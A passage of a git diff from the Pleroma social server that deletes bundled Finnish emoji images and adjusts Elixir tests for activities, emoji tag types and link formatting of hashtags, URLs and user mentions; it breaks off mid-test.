	diff --git a/priv/static/finmoji/1000px/reindeer.png b/priv/static/finmoji/1000px/reindeer.png
	deleted file mode 100644
	index e60f0f0a4..000000000
	Binary files a/priv/static/finmoji/1000px/reindeer.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/sami.png b/priv/static/finmoji/1000px/sami.png
	deleted file mode 100644
	index e4703dfd2..000000000
	Binary files a/priv/static/finmoji/1000px/sami.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/sauna_f.png b/priv/static/finmoji/1000px/sauna_f.png
	deleted file mode 100644
	index 9a4ba8629..000000000
	Binary files a/priv/static/finmoji/1000px/sauna_f.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/sauna_m.png b/priv/static/finmoji/1000px/sauna_m.png
	deleted file mode 100644
	index 4bdd33f7b..000000000
	Binary files a/priv/static/finmoji/1000px/sauna_m.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/sauna_whisk.png b/priv/static/finmoji/1000px/sauna_whisk.png
	deleted file mode 100644
	index c16928065..000000000
	Binary files a/priv/static/finmoji/1000px/sauna_whisk.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/sisu.png b/priv/static/finmoji/1000px/sisu.png
	deleted file mode 100644
	index 238453bb5..000000000
	Binary files a/priv/static/finmoji/1000px/sisu.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/stuck.png b/priv/static/finmoji/1000px/stuck.png
	deleted file mode 100644
	index 4180e3ecd..000000000
	Binary files a/priv/static/finmoji/1000px/stuck.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/suomimainittu.png b/priv/static/finmoji/1000px/suomimainittu.png
	deleted file mode 100644
	index af46347f5..000000000
	Binary files a/priv/static/finmoji/1000px/suomimainittu.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/superfood.png b/priv/static/finmoji/1000px/superfood.png
	deleted file mode 100644
	index 8fa033c18..000000000
	Binary files a/priv/static/finmoji/1000px/superfood.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/swan.png b/priv/static/finmoji/1000px/swan.png
	deleted file mode 100644
	index 5363f861d..000000000
	Binary files a/priv/static/finmoji/1000px/swan.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/the_cap.png b/priv/static/finmoji/1000px/the_cap.png
	deleted file mode 100644
	index 7f547dc0e..000000000
	Binary files a/priv/static/finmoji/1000px/the_cap.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/the_conductor.png b/priv/static/finmoji/1000px/the_conductor.png
	deleted file mode 100644
	index ed5ca7f1f..000000000
	Binary files a/priv/static/finmoji/1000px/the_conductor.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/the_king.png b/priv/static/finmoji/1000px/the_king.png
	deleted file mode 100644
	index 8c3a5c66d..000000000
	Binary files a/priv/static/finmoji/1000px/the_king.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/the_voice.png b/priv/static/finmoji/1000px/the_voice.png
	deleted file mode 100644
	index 9bfc87b3a..000000000
	Binary files a/priv/static/finmoji/1000px/the_voice.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/theoriginalsanta.png b/priv/static/finmoji/1000px/theoriginalsanta.png
	deleted file mode 100644
	index b8dc1ef47..000000000
	Binary files a/priv/static/finmoji/1000px/theoriginalsanta.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/tomoffinland.png b/priv/static/finmoji/1000px/tomoffinland.png
	deleted file mode 100644
	index 97da05a64..000000000
	Binary files a/priv/static/finmoji/1000px/tomoffinland.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/torillatavataan.png b/priv/static/finmoji/1000px/torillatavataan.png
	deleted file mode 100644
	index ff7a81eda..000000000
	Binary files a/priv/static/finmoji/1000px/torillatavataan.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/unbreakable.png b/priv/static/finmoji/1000px/unbreakable.png
	deleted file mode 100644
	index 1778fc115..000000000
	Binary files a/priv/static/finmoji/1000px/unbreakable.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/waiting.png b/priv/static/finmoji/1000px/waiting.png
	deleted file mode 100644
	index 2aa9afa70..000000000
	Binary files a/priv/static/finmoji/1000px/waiting.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/white_nights.png b/priv/static/finmoji/1000px/white_nights.png
	deleted file mode 100644
	index 8e9cd3fc8..000000000
	Binary files a/priv/static/finmoji/1000px/white_nights.png and /dev/null differ
	diff --git a/priv/static/finmoji/1000px/woollysocks.png b/priv/static/finmoji/1000px/woollysocks.png
	deleted file mode 100644
	index 5ee4e6de1..000000000
	Binary files a/priv/static/finmoji/1000px/woollysocks.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/a_trusted_friend-128.png b/priv/static/finmoji/128px/a_trusted_friend-128.png
	deleted file mode 100644
	index 16d596bda..000000000
	Binary files a/priv/static/finmoji/128px/a_trusted_friend-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/alandislands-128.png b/priv/static/finmoji/128px/alandislands-128.png
	deleted file mode 100644
	index 13cdf6e76..000000000
	Binary files a/priv/static/finmoji/128px/alandislands-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/association-128.png b/priv/static/finmoji/128px/association-128.png
	deleted file mode 100644
	index 5b388d781..000000000
	Binary files a/priv/static/finmoji/128px/association-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/auroraborealis-128.png b/priv/static/finmoji/128px/auroraborealis-128.png
	deleted file mode 100644
	index 7e2af77b9..000000000
	Binary files a/priv/static/finmoji/128px/auroraborealis-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/baby_in_a_box-128.png b/priv/static/finmoji/128px/baby_in_a_box-128.png
	deleted file mode 100644
	index 9c495e24a..000000000
	Binary files a/priv/static/finmoji/128px/baby_in_a_box-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/bear-128.png b/priv/static/finmoji/128px/bear-128.png
	deleted file mode 100644
	index 8bb101bf4..000000000
	Binary files a/priv/static/finmoji/128px/bear-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/black_gold-128.png b/priv/static/finmoji/128px/black_gold-128.png
	deleted file mode 100644
	index 1833edab4..000000000
	Binary files a/priv/static/finmoji/128px/black_gold-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/christmasparty-128.png b/priv/static/finmoji/128px/christmasparty-128.png
	deleted file mode 100644
	index 98216830c..000000000
	Binary files a/priv/static/finmoji/128px/christmasparty-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/crosscountryskiing-128.png b/priv/static/finmoji/128px/crosscountryskiing-128.png
	deleted file mode 100644
	index 67553f398..000000000
	Binary files a/priv/static/finmoji/128px/crosscountryskiing-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/cupofcoffee-128.png b/priv/static/finmoji/128px/cupofcoffee-128.png
	deleted file mode 100644
	index 20064f218..000000000
	Binary files a/priv/static/finmoji/128px/cupofcoffee-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/education-128.png b/priv/static/finmoji/128px/education-128.png
	deleted file mode 100644
	index c98083bdd..000000000
	Binary files a/priv/static/finmoji/128px/education-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/fashionista_finns-128.png b/priv/static/finmoji/128px/fashionista_finns-128.png
	deleted file mode 100644
	index 4248825e0..000000000
	Binary files a/priv/static/finmoji/128px/fashionista_finns-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/finnishlove-128.png b/priv/static/finmoji/128px/finnishlove-128.png
	deleted file mode 100644
	index 5d4f9476c..000000000
	Binary files a/priv/static/finmoji/128px/finnishlove-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/flag-128.png b/priv/static/finmoji/128px/flag-128.png
	deleted file mode 100644
	index 0087cc589..000000000
	Binary files a/priv/static/finmoji/128px/flag-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/forest-128.png b/priv/static/finmoji/128px/forest-128.png
	deleted file mode 100644
	index 142e60b94..000000000
	Binary files a/priv/static/finmoji/128px/forest-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/four_seasons_of_bbq-128.png b/priv/static/finmoji/128px/four_seasons_of_bbq-128.png
	deleted file mode 100644
	index bb7fe1f51..000000000
	Binary files a/priv/static/finmoji/128px/four_seasons_of_bbq-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/girlpower-128.png b/priv/static/finmoji/128px/girlpower-128.png
	deleted file mode 100644
	index bc76a51c5..000000000
	Binary files a/priv/static/finmoji/128px/girlpower-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/handshake-128.png b/priv/static/finmoji/128px/handshake-128.png
	deleted file mode 100644
	index 4ebf196ab..000000000
	Binary files a/priv/static/finmoji/128px/handshake-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/happiness-128.png b/priv/static/finmoji/128px/happiness-128.png
	deleted file mode 100644
	index e28f99a26..000000000
	Binary files a/priv/static/finmoji/128px/happiness-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/headbanger-128.png b/priv/static/finmoji/128px/headbanger-128.png
	deleted file mode 100644
	index 0de620efe..000000000
	Binary files a/priv/static/finmoji/128px/headbanger-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/icebreaker-128.png b/priv/static/finmoji/128px/icebreaker-128.png
	deleted file mode 100644
	index 7fb36a4a3..000000000
	Binary files a/priv/static/finmoji/128px/icebreaker-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/iceman-128.png b/priv/static/finmoji/128px/iceman-128.png
	deleted file mode 100644
	index eb814e6aa..000000000
	Binary files a/priv/static/finmoji/128px/iceman-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/joulutorttu-128.png b/priv/static/finmoji/128px/joulutorttu-128.png
	deleted file mode 100644
	index 50448e333..000000000
	Binary files a/priv/static/finmoji/128px/joulutorttu-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/kaamos-128.png b/priv/static/finmoji/128px/kaamos-128.png
	deleted file mode 100644
	index 8b2df03ef..000000000
	Binary files a/priv/static/finmoji/128px/kaamos-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/kalsarikannit_f-128.png b/priv/static/finmoji/128px/kalsarikannit_f-128.png
	deleted file mode 100644
	index bcd94141a..000000000
	Binary files a/priv/static/finmoji/128px/kalsarikannit_f-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/kalsarikannit_m-128.png b/priv/static/finmoji/128px/kalsarikannit_m-128.png
	deleted file mode 100644
	index c6938e677..000000000
	Binary files a/priv/static/finmoji/128px/kalsarikannit_m-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/karjalanpiirakka-128.png b/priv/static/finmoji/128px/karjalanpiirakka-128.png
	deleted file mode 100644
	index a82a902db..000000000
	Binary files a/priv/static/finmoji/128px/karjalanpiirakka-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/kicksled-128.png b/priv/static/finmoji/128px/kicksled-128.png
	deleted file mode 100644
	index ff42462db..000000000
	Binary files a/priv/static/finmoji/128px/kicksled-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/kokko-128.png b/priv/static/finmoji/128px/kokko-128.png
	deleted file mode 100644
	index e0b6e07fa..000000000
	Binary files a/priv/static/finmoji/128px/kokko-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/lavatanssit-128.png b/priv/static/finmoji/128px/lavatanssit-128.png
	deleted file mode 100644
	index f89dc358c..000000000
	Binary files a/priv/static/finmoji/128px/lavatanssit-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/losthopes_f-128.png b/priv/static/finmoji/128px/losthopes_f-128.png
	deleted file mode 100644
	index 60f0949c0..000000000
	Binary files a/priv/static/finmoji/128px/losthopes_f-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/losthopes_m-128.png b/priv/static/finmoji/128px/losthopes_m-128.png
	deleted file mode 100644
	index 9ae6f9e2f..000000000
	Binary files a/priv/static/finmoji/128px/losthopes_m-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/mattinykanen-128.png b/priv/static/finmoji/128px/mattinykanen-128.png
	deleted file mode 100644
	index 0e81271ca..000000000
	Binary files a/priv/static/finmoji/128px/mattinykanen-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/meanwhileinfinland-128.png b/priv/static/finmoji/128px/meanwhileinfinland-128.png
	deleted file mode 100644
	index 5a9710a3b..000000000
	Binary files a/priv/static/finmoji/128px/meanwhileinfinland-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/moominmamma-128.png b/priv/static/finmoji/128px/moominmamma-128.png
	deleted file mode 100644
	index ae37bb94a..000000000
	Binary files a/priv/static/finmoji/128px/moominmamma-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/nordicfamily-128.png b/priv/static/finmoji/128px/nordicfamily-128.png
	deleted file mode 100644
	index cff41b228..000000000
	Binary files a/priv/static/finmoji/128px/nordicfamily-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/out_of_office-128.png b/priv/static/finmoji/128px/out_of_office-128.png
	deleted file mode 100644
	index 45cd1c2f5..000000000
	Binary files a/priv/static/finmoji/128px/out_of_office-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/peacemaker-128.png b/priv/static/finmoji/128px/peacemaker-128.png
	deleted file mode 100644
	index c4e9bd447..000000000
	Binary files a/priv/static/finmoji/128px/peacemaker-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/perkele-128.png b/priv/static/finmoji/128px/perkele-128.png
	deleted file mode 100644
	index e89e5bf32..000000000
	Binary files a/priv/static/finmoji/128px/perkele-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/pesapallo-128.png b/priv/static/finmoji/128px/pesapallo-128.png
	deleted file mode 100644
	index 5e06bec50..000000000
	Binary files a/priv/static/finmoji/128px/pesapallo-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/polarbear-128.png b/priv/static/finmoji/128px/polarbear-128.png
	deleted file mode 100644
	index fd3c3ec30..000000000
	Binary files a/priv/static/finmoji/128px/polarbear-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/pusa_hispida_saimensis-128.png b/priv/static/finmoji/128px/pusa_hispida_saimensis-128.png
	deleted file mode 100644
	index 60620be5d..000000000
	Binary files a/priv/static/finmoji/128px/pusa_hispida_saimensis-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/reindeer-128.png b/priv/static/finmoji/128px/reindeer-128.png
	deleted file mode 100644
	index 8cdd05f27..000000000
	Binary files a/priv/static/finmoji/128px/reindeer-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/sami-128.png b/priv/static/finmoji/128px/sami-128.png
	deleted file mode 100644
	index e9e9f41a7..000000000
	Binary files a/priv/static/finmoji/128px/sami-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/sauna_f-128.png b/priv/static/finmoji/128px/sauna_f-128.png
	deleted file mode 100644
	index 474f126ff..000000000
	Binary files a/priv/static/finmoji/128px/sauna_f-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/sauna_m-128.png b/priv/static/finmoji/128px/sauna_m-128.png
	deleted file mode 100644
	index f7f563a9b..000000000
	Binary files a/priv/static/finmoji/128px/sauna_m-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/sauna_whisk-128.png b/priv/static/finmoji/128px/sauna_whisk-128.png
	deleted file mode 100644
	index 80ebb55e4..000000000
	Binary files a/priv/static/finmoji/128px/sauna_whisk-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/sisu-128.png b/priv/static/finmoji/128px/sisu-128.png
	deleted file mode 100644
	index 7b9330654..000000000
	Binary files a/priv/static/finmoji/128px/sisu-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/stuck-128.png b/priv/static/finmoji/128px/stuck-128.png
	deleted file mode 100644
	index c14bc555d..000000000
	Binary files a/priv/static/finmoji/128px/stuck-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/suomimainittu-128.png b/priv/static/finmoji/128px/suomimainittu-128.png
	deleted file mode 100644
	index 8d35b9be1..000000000
	Binary files a/priv/static/finmoji/128px/suomimainittu-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/superfood-128.png b/priv/static/finmoji/128px/superfood-128.png
	deleted file mode 100644
	index 2e9d924cc..000000000
	Binary files a/priv/static/finmoji/128px/superfood-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/swan-128.png b/priv/static/finmoji/128px/swan-128.png
	deleted file mode 100644
	index d1711c70b..000000000
	Binary files a/priv/static/finmoji/128px/swan-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/the_cap-128.png b/priv/static/finmoji/128px/the_cap-128.png
	deleted file mode 100644
	index 10d83c22e..000000000
	Binary files a/priv/static/finmoji/128px/the_cap-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/the_conductor-128.png b/priv/static/finmoji/128px/the_conductor-128.png
	deleted file mode 100644
	index 0da7c42e8..000000000
	Binary files a/priv/static/finmoji/128px/the_conductor-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/the_king-128.png b/priv/static/finmoji/128px/the_king-128.png
	deleted file mode 100644
	index 07dd27ad7..000000000
	Binary files a/priv/static/finmoji/128px/the_king-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/the_voice-128.png b/priv/static/finmoji/128px/the_voice-128.png
	deleted file mode 100644
	index bb436f95b..000000000
	Binary files a/priv/static/finmoji/128px/the_voice-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/theoriginalsanta-128.png b/priv/static/finmoji/128px/theoriginalsanta-128.png
	deleted file mode 100644
	index 082d58c28..000000000
	Binary files a/priv/static/finmoji/128px/theoriginalsanta-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/tomoffinland-128.png b/priv/static/finmoji/128px/tomoffinland-128.png
	deleted file mode 100644
	index 29c68bcba..000000000
	Binary files a/priv/static/finmoji/128px/tomoffinland-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/torillatavataan-128.png b/priv/static/finmoji/128px/torillatavataan-128.png
	deleted file mode 100644
	index da7b502b4..000000000
	Binary files a/priv/static/finmoji/128px/torillatavataan-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/unbreakable-128.png b/priv/static/finmoji/128px/unbreakable-128.png
	deleted file mode 100644
	index eb825e14f..000000000
	Binary files a/priv/static/finmoji/128px/unbreakable-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/waiting-128.png b/priv/static/finmoji/128px/waiting-128.png
	deleted file mode 100644
	index 10b9167f2..000000000
	Binary files a/priv/static/finmoji/128px/waiting-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/white_nights-128.png b/priv/static/finmoji/128px/white_nights-128.png
	deleted file mode 100644
	index 8eacd11f0..000000000
	Binary files a/priv/static/finmoji/128px/white_nights-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/128px/woollysocks-128.png b/priv/static/finmoji/128px/woollysocks-128.png
	deleted file mode 100644
	index 856af5b2e..000000000
	Binary files a/priv/static/finmoji/128px/woollysocks-128.png and /dev/null differ
	diff --git a/priv/static/finmoji/LICENSE b/priv/static/finmoji/LICENSE
	deleted file mode 100644
	index e3a607aa3..000000000
	--- a/priv/static/finmoji/LICENSE
	+++ /dev/null
	@@ -1 +0,0 @@
	-these are under CC-BY-ND, see https://finland.fi/emoji/
	diff --git a/test/activity_test.exs b/test/activity_test.exs
	index dc9c56a21..ad889f544 100644
	--- a/test/activity_test.exs
	+++ b/test/activity_test.exs
	@@ -1,45 +1,31 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.ActivityTest do
	use Pleroma.DataCase
	alias Pleroma.Activity
	import Pleroma.Factory

	test "returns an activity by it's AP id" do
	activity = insert(:note_activity)
	found_activity = Activity.get_by_ap_id(activity.data["id"])

	assert activity == found_activity
	end

	test "returns activities by it's objects AP ids" do
	activity = insert(:note_activity)
	[found_activity] = Activity.get_all_create_by_object_ap_id(activity.data["object"]["id"])

	assert activity == found_activity
	end

	test "returns the activity that created an object" do
	activity = insert(:note_activity)

	found_activity = Activity.get_create_by_object_ap_id(activity.data["object"]["id"])

	assert activity == found_activity
	end
	-
	- test "reply count" do
	- %{id: id, data: %{"object" => %{"id" => object_ap_id}}} = activity = insert(:note_activity)
	-
	- replies_count = activity.data["object"]["repliesCount"] \|\| 0
	- expected_increase = replies_count + 1
	- Activity.increase_replies_count(object_ap_id)
	- %{data: %{"object" => %{"repliesCount" => actual_increase}}} = Activity.get_by_id(id)
	- assert expected_increase == actual_increase
	- expected_decrease = expected_increase - 1
	- Activity.decrease_replies_count(object_ap_id)
	- %{data: %{"object" => %{"repliesCount" => actual_decrease}}} = Activity.get_by_id(id)
	- assert expected_decrease == actual_decrease
	- end
	end
	diff --git a/test/emoji_test.exs b/test/emoji_test.exs
	index cb1d62d00..2eaa26be6 100644
	--- a/test/emoji_test.exs
	+++ b/test/emoji_test.exs
	@@ -1,106 +1,106 @@
	defmodule Pleroma.EmojiTest do
	use ExUnit.Case, async: true
	alias Pleroma.Emoji

	describe "get_all/0" do
	setup do
	emoji_list = Emoji.get_all()
	{:ok, emoji_list: emoji_list}
	end

	test "first emoji", %{emoji_list: emoji_list} do
	[emoji \| _others] = emoji_list
	{code, path, tags} = emoji

	assert tuple_size(emoji) == 3
	assert is_binary(code)
	assert is_binary(path)
	- assert is_binary(tags)
	+ assert is_list(tags)
	end

	test "random emoji", %{emoji_list: emoji_list} do
	emoji = Enum.random(emoji_list)
	{code, path, tags} = emoji

	assert tuple_size(emoji) == 3
	assert is_binary(code)
	assert is_binary(path)
	- assert is_binary(tags)
	+ assert is_list(tags)
	end
	end

	describe "match_extra/2" do
	setup do
	groups = [
	"list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"],
	"wildcard folder": "/emoji/custom/*/file.png",
	"wildcard files": "/emoji/custom/folder/*.png",
	"special file": "/emoji/custom/special.png"
	]

	{:ok, groups: groups}
	end

	test "config for list of files", %{groups: groups} do
	group =
	groups
	\|> Emoji.match_extra("/emoji/custom/first_file.png")
	\|> to_string()

	assert group == "list of files"
	end

	test "config with wildcard folder", %{groups: groups} do
	group =
	groups
	\|> Emoji.match_extra("/emoji/custom/some_folder/file.png")
	\|> to_string()

	assert group == "wildcard folder"
	end

	test "config with wildcard folder and subfolders", %{groups: groups} do
	group =
	groups
	\|> Emoji.match_extra("/emoji/custom/some_folder/another_folder/file.png")
	\|> to_string()

	assert group == "wildcard folder"
	end

	test "config with wildcard files", %{groups: groups} do
	group =
	groups
	\|> Emoji.match_extra("/emoji/custom/folder/some_file.png")
	\|> to_string()

	assert group == "wildcard files"
	end

	test "config with wildcard files and subfolders", %{groups: groups} do
	group =
	groups
	\|> Emoji.match_extra("/emoji/custom/folder/another_folder/some_file.png")
	\|> to_string()

	assert group == "wildcard files"
	end

	test "config for special file", %{groups: groups} do
	group =
	groups
	\|> Emoji.match_extra("/emoji/custom/special.png")
	\|> to_string()

	assert group == "special file"
	end

	test "no mathing returns nil", %{groups: groups} do
	group =
	groups
	\|> Emoji.match_extra("/emoji/some_undefined.png")

	refute group
	end
	end
	end
	diff --git a/test/formatter_test.exs b/test/formatter_test.exs
	index e74985c4e..97eb2f583 100644
	--- a/test/formatter_test.exs
	+++ b/test/formatter_test.exs
	@@ -1,295 +1,295 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.FormatterTest do
	alias Pleroma.Formatter
	alias Pleroma.User
	use Pleroma.DataCase

	import Pleroma.Factory

	setup_all do
	Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
	:ok
	end

	describe ".add_hashtag_links" do
	test "turns hashtags into links" do
	text = "I love #cofe and #2hu"

	expected_text =
	"I love <a class='hashtag' data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a class='hashtag' data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"

	assert {^expected_text, [], _tags} = Formatter.linkify(text)
	end

	test "does not turn html characters to tags" do
	text = "#fact_3: pleroma does what mastodon't"

	expected_text =
	"<a class='hashtag' data-tag='fact_3' href='http://localhost:4001/tag/fact_3' rel='tag'>#fact_3</a>: pleroma does what mastodon't"

	assert {^expected_text, [], _tags} = Formatter.linkify(text)
	end
	end

	describe ".add_links" do
	test "turning urls into links" do
	text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."

	expected =
	"Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "https://mastodon.social/@lambadalambda"

	expected =
	"<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "https://mastodon.social:4000/@lambadalambda"

	expected =
	"<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "@lambadalambda"
	expected = "@lambadalambda"

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "http://www.cs.vu.nl/~ast/intel/"
	expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"

	expected =
	"<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"

	expected =
	"<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "https://www.google.co.jp/search?q=Nasim+Aghdam"

	expected =
	"<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "https://en.wikipedia.org/wiki/Duff's_device"

	expected =
	"<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "https://pleroma.com https://pleroma.com/sucks"

	expected =
	"<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

	text = "xmpp:contact@hacktivis.me"

	expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"

	assert {^expected, [], []} = Formatter.linkify(text)

	text =
	"magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"

	expected = "<a href=\"#{text}\">#{text}</a>"

	assert {^expected, [], []} = Formatter.linkify(text)
	end
	end

	describe "add_user_links" do
	test "gives a replacement for user links, using local nicknames in user links text" do
	text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me"
	gsimg = insert(:user, %{nickname: "gsimg"})

	archaeme =
	insert(:user, %{
	nickname: "archa_eme_",
	info: %Pleroma.User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}}
	})

	archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})

	{text, mentions, []} = Formatter.linkify(text)

	assert length(mentions) == 3

	expected_text =
	"<span class='h-card'><a data-user='#{gsimg.id}' class='u-url mention' href='#{
	gsimg.ap_id
	}'>@<span>gsimg</span></a></span> According to <span class='h-card'><a data-user='#{
	archaeme.id
	}' class='u-url mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span class='h-card'><a data-user='#{
	archaeme_remote.id
	}' class='u-url mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"

	assert expected_text == text
	end

	test "gives a replacement for user links when the user is using Osada" do
	mike = User.get_or_fetch("mike@osada.macgirvin.com")

	text = "@mike@osada.macgirvin.com test"

	{text, mentions, []} = Formatter.linkify(text)

	assert length(mentions) == 1

	expected_text =
	"<span class='h-card'><a data-user='#{mike.id}' class='u-url mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"

	assert expected_text == text
	end

	test "gives a replacement for single-character local nicknames" do
	text = "@o hi"
	o = insert(:user, %{nickname: "o"})

	{text, mentions, []} = Formatter.linkify(text)

	assert length(mentions) == 1

